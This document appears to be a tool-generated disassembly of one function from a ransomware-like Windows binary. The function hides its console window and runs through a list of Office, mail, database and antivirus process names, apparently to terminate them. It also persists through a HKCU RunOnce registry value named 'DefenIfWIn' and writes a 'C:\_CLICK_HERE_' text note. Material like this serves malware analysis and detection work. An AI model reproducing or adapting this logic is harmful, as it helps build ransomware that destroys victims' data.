Function at 0x405ccf
Capabilities:
Hide graphical window
Persist via run registry key
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f8]
sub esp, 0x2f8
push 0xffffffffffffffff
push 0x447693
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x45e014]
xor eax, ebp
mov dword [ebp + 0x2f4], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
xor edi, edi
push edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str..UTF_8
push edi
call fcn.00426598
pop ecx
pop ecx
mov ecx, str.isqlplussvc.exe
call fcn.00405c2f
mov ecx, str.xfssvccon.exe
call fcn.00405c2f
mov ecx, str.mydesktopservice.exe
call fcn.00405c2f
mov ecx, str.ocautoupds.exe
call fcn.00405c2f
mov ecx, str.encsvc.exe
call fcn.00405c2f
mov ecx, str.tbirdconfig.exe
call fcn.00405c2f
mov ecx, str.mydesktopqos.exe
call fcn.00405c2f
mov ecx, str.ocomm.exe
call fcn.00405c2f
mov ecx, str.dbeng50.exe
call fcn.00405c2f
mov ecx, str.sqbcoreservice.exe
call fcn.00405c2f
mov ecx, str.excel.exe
call fcn.00405c2f
mov ecx, str.infopath.exe
call fcn.00405c2f
mov ecx, str.msaccess.exe
call fcn.00405c2f
mov ecx, str.mspub.exe
call fcn.00405c2f
mov ecx, str.onenote.exe
call fcn.00405c2f
mov ecx, str.outlook.exe
call fcn.00405c2f
mov ecx, str.powerpnt.exe
call fcn.00405c2f
mov ecx, str.steam.exe
call fcn.00405c2f
mov ecx, str.thebat.exe
call fcn.00405c2f
mov ecx, str.thunderbird.exe
call fcn.00405c2f
mov ecx, str.visio.exe
call fcn.00405c2f
mov ecx, str.winword.exe
call fcn.00405c2f
mov ecx, str.wordpad.exe
call fcn.00405c2f
mov ecx, str.notepad.exe
call fcn.00405c2f
mov ecx, str.aupis80.exe
call fcn.00405c2f
mov ecx, str.avgnt.exe
call fcn.00405c2f
mov ecx, str.sql.exe
call fcn.00405c2f
mov ecx, str.oracle.exe
call fcn.00405c2f
mov ecx, str.ocssd.exe
call fcn.00405c2f
mov ecx, str.dbsnmp.exe
call fcn.00405c2f
mov ecx, str.synctime.exe
call fcn.00405c2f
mov ecx, str.agntsvc.exe
call fcn.00405c2f
push 0x208
lea eax, [ebp + 0xec]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push edi
lea eax, [ebp]
push eax
push edi
push 2
push edi
push edi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp + 0xec]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
lea eax, [ebp + 0xec]
push eax
push 1
push edi
push str.DefenIfWIn
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4578c4
push ecx
lea ecx, [ebp + 0xbc]
call fcn.00408e78
push 0x4578cc
push ecx
lea ecx, [ebp + 0xc4]
mov dword [ebp - 4], edi
call fcn.00408e78
push 0x4578d4
push ecx
lea ecx, [ebp + 0xcc]
mov byte [ebp - 4], 1
call fcn.00408e78
push 0x4578dc
push ecx
lea ecx, [ebp + 4]
mov byte [ebp - 4], 2
call fcn.00408e78
push 0x4578e4
push ecx
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 3
call fcn.00408e78
push 0x4578ec
push ecx
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 4
call fcn.00408e78
push 0x4578f4
push ecx
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 5
call fcn.00408e78
push 0x4578fc
push ecx
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 6
call fcn.00408e78
push 0x457904
push ecx
lea ecx, [ebp + 0x2c]
mov byte [ebp - 4], 7
call fcn.00408e78
push 0x45790c
push ecx
lea ecx, [ebp + 0x34]
mov byte [ebp - 4], 8
call fcn.00408e78
push 0x457914
push ecx
lea ecx, [ebp + 0x3c]
mov byte [ebp - 4], 9
call fcn.00408e78
push 0x45791c
push ecx
lea ecx, [ebp + 0x44]
mov byte [ebp - 4], 0xa
call fcn.00408e78
push 0x457924
push ecx
lea ecx, [ebp + 0x4c]
mov byte [ebp - 4], 0xb
call fcn.00408e78
push 0x45792c
push ecx
lea ecx, [ebp + 0x54]
mov byte [ebp - 4], 0xc
call fcn.00408e78
push 0x457934
push ecx
lea ecx, [ebp + 0x5c]
mov byte [ebp - 4], 0xd
call fcn.00408e78
push 0x45793c
push ecx
lea ecx, [ebp + 0x64]
mov byte [ebp - 4], 0xe
call fcn.00408e78
push 0x457944
push ecx
lea ecx, [ebp + 0x6c]
mov byte [ebp - 4], 0xf
call fcn.00408e78
push 0x45794c
push ecx
lea ecx, [ebp + 0x74]
mov byte [ebp - 4], 0x10
call fcn.00408e78
push 0x457954
push ecx
lea ecx, [ebp + 0x7c]
mov byte [ebp - 4], 0x11
call fcn.00408e78
push 0x45795c
push ecx
lea ecx, [ebp + 0x84]
mov byte [ebp - 4], 0x12
call fcn.00408e78
push 0x457964
push ecx
lea ecx, [ebp + 0x8c]
mov byte [ebp - 4], 0x13
call fcn.00408e78
push 0x45796c
push ecx
lea ecx, [ebp + 0x94]
mov byte [ebp - 4], 0x14
call fcn.00408e78
push 0x457974
push ecx
lea ecx, [ebp + 0x9c]
mov byte [ebp - 4], 0x15
call fcn.00408e78
mov byte [ebp - 4], 0x16
push 0x45797c
push ecx
lea ecx, [ebp + 0xa4]
call fcn.00408e78
push 0x457984
push ecx
lea ecx, [ebp + 0xac]
mov byte [ebp - 4], 0x17
call fcn.00408e78
push 0x45798c
push ecx
lea ecx, [ebp + 0xb4]
mov byte [ebp - 4], 0x18
call fcn.00408e78
lea ecx, [ebp + 0xbc]
mov byte [ebp - 4], 0x19
call fcn.00403470
lea ecx, [ebp + 0xc4]
call fcn.00403470
lea ecx, [ebp + 0xcc]
call fcn.00403470
lea ecx, [ebp + 4]
call fcn.00403470
lea ecx, [ebp + 0xc]
call fcn.00403470
lea ecx, [ebp + 0x14]
call fcn.00403470
lea ecx, [ebp + 0x1c]
call fcn.00403470
lea ecx, [ebp + 0x24]
call fcn.00403470
lea ecx, [ebp + 0x2c]
call fcn.00403470
lea ecx, [ebp + 0x34]
call fcn.00403470
lea ecx, [ebp + 0x3c]
call fcn.00403470
lea ecx, [ebp + 0x44]
call fcn.00403470
lea ecx, [ebp + 0x4c]
call fcn.00403470
lea ecx, [ebp + 0x54]
call fcn.00403470
lea ecx, [ebp + 0x5c]
call fcn.00403470
lea ecx, [ebp + 0x64]
call fcn.00403470
lea ecx, [ebp + 0x6c]
call fcn.00403470
lea ecx, [ebp + 0x74]
call fcn.00403470
lea ecx, [ebp + 0x7c]
call fcn.00403470
lea ecx, [ebp + 0x84]
call fcn.00403470
lea ecx, [ebp + 0x8c]
call fcn.00403470
lea ecx, [ebp + 0x94]
call fcn.00403470
lea ecx, [ebp + 0x9c]
call fcn.00403470
lea ecx, [ebp + 0xa4]
call fcn.00403470
lea ecx, [ebp + 0xac]
call fcn.00403470
lea ecx, [ebp + 0xb4]
call fcn.00403470
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x460d24
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], edi
call fcn.0040860b
sub esp, 0x18
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x14], esp
mov ecx, esp
mov esi, 0x460d88
mov dword [ecx + 0x10], edi
push esi
mov dword [ecx + 0x14], edi
call fcn.0040860b
sub esp, 0x18
mov byte [ebp - 4], 0x1b
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x460d6c
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], edi
call fcn.0040860b
sub esp, 0x18
mov byte [ebp - 4], 0x1c
mov ecx, esp
push 0x460d54
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], edi
call fcn.0040860b
mov byte [ebp - 4], 0x19
call fcn.00403c06
push esi
mov edx, str.C:_CLICK_HERE_
lea ecx, [ebp - 0x34]
call fcn.00408d5f
add esp, 0x64
push str..txt
mov ecx, eax
mov byte [ebp - 4], 0x1d
call fcn.00407990
push eax
lea ecx, [ebp + 0xd4]
call fcn.004079f0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x1f
call fcn.00408464
push dword [ebp + 0xe4]
call fcn.00421da7
cmp dword [ebp + 0xe8], 0x10
lea edx, [ebp + 0xd4]
mov ecx, dword [ebp + 0xe4]
mov esi, eax
cmovae edx, dword [ebp + 0xd4]
lea eax, [ebp + 0xd4]
add ecx, edx
cmp dword [ebp + 0xe8], 0x10
cmovae eax, dword [ebp + 0xd4]
sub ecx, eax
push ecx
push eax
push esi
call fcn.00423530
push esi
call fcn.00426f80
add esp, 0x14
lea ecx, [ebp + 0xd4]
call fcn.00408464
cmp dword [ebp + 0xb8], edi
jne 0x406394
cmp dword [ebp + 0xb0], edi
jne 0x406394
cmp dword [ebp + 0xa8], edi
jne 0x406394
cmp dword [ebp + 0xa0], edi
jne 0x406394
cmp dword [ebp + 0x98], edi
jne 0x406394
cmp dword [ebp + 0x90], edi
jne 0x406394
cmp dword [ebp + 0x88], edi
jne 0x406394
cmp dword [ebp + 0x80], edi
jne 0x406394
cmp dword [ebp + 0x78], edi
jne 0x406394
cmp dword [ebp + 0x70], edi
jne 0x406394
cmp dword [ebp + 0x68], edi
jne 0x406394
cmp dword [ebp + 0x60], edi
jne 0x406394
cmp dword [ebp + 0x58], edi
jne 0x406394
cmp dword [ebp + 0x50], edi
jne 0x406394
cmp dword [ebp + 0x48], edi
jne 0x406394
cmp dword [ebp + 0x40], edi
jne 0x406394
cmp dword [ebp + 0x38], edi
jne 0x406394
cmp dword [ebp + 0x30], edi
jne 0x406394
cmp dword [ebp + 0x28], edi
jne 0x406394
cmp dword [ebp + 0x20], edi
jne 0x406394
cmp dword [ebp + 0x18], edi
jne 0x406394
cmp dword [ebp + 0x10], edi
jne 0x406394
cmp dword [ebp + 8], edi
jne 0x406394
cmp dword [ebp + 0xd0], edi
jne 0x406394
cmp dword [ebp + 0xc8], edi
jne 0x406394
cmp dword [ebp + 0xc0], edi
jne 0x406394
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp + 0x2f4]
xor ecx, ebp
call fcn.00421907
add ebp, 0x2f8
leave
ret
call fcn.00426f8b
int3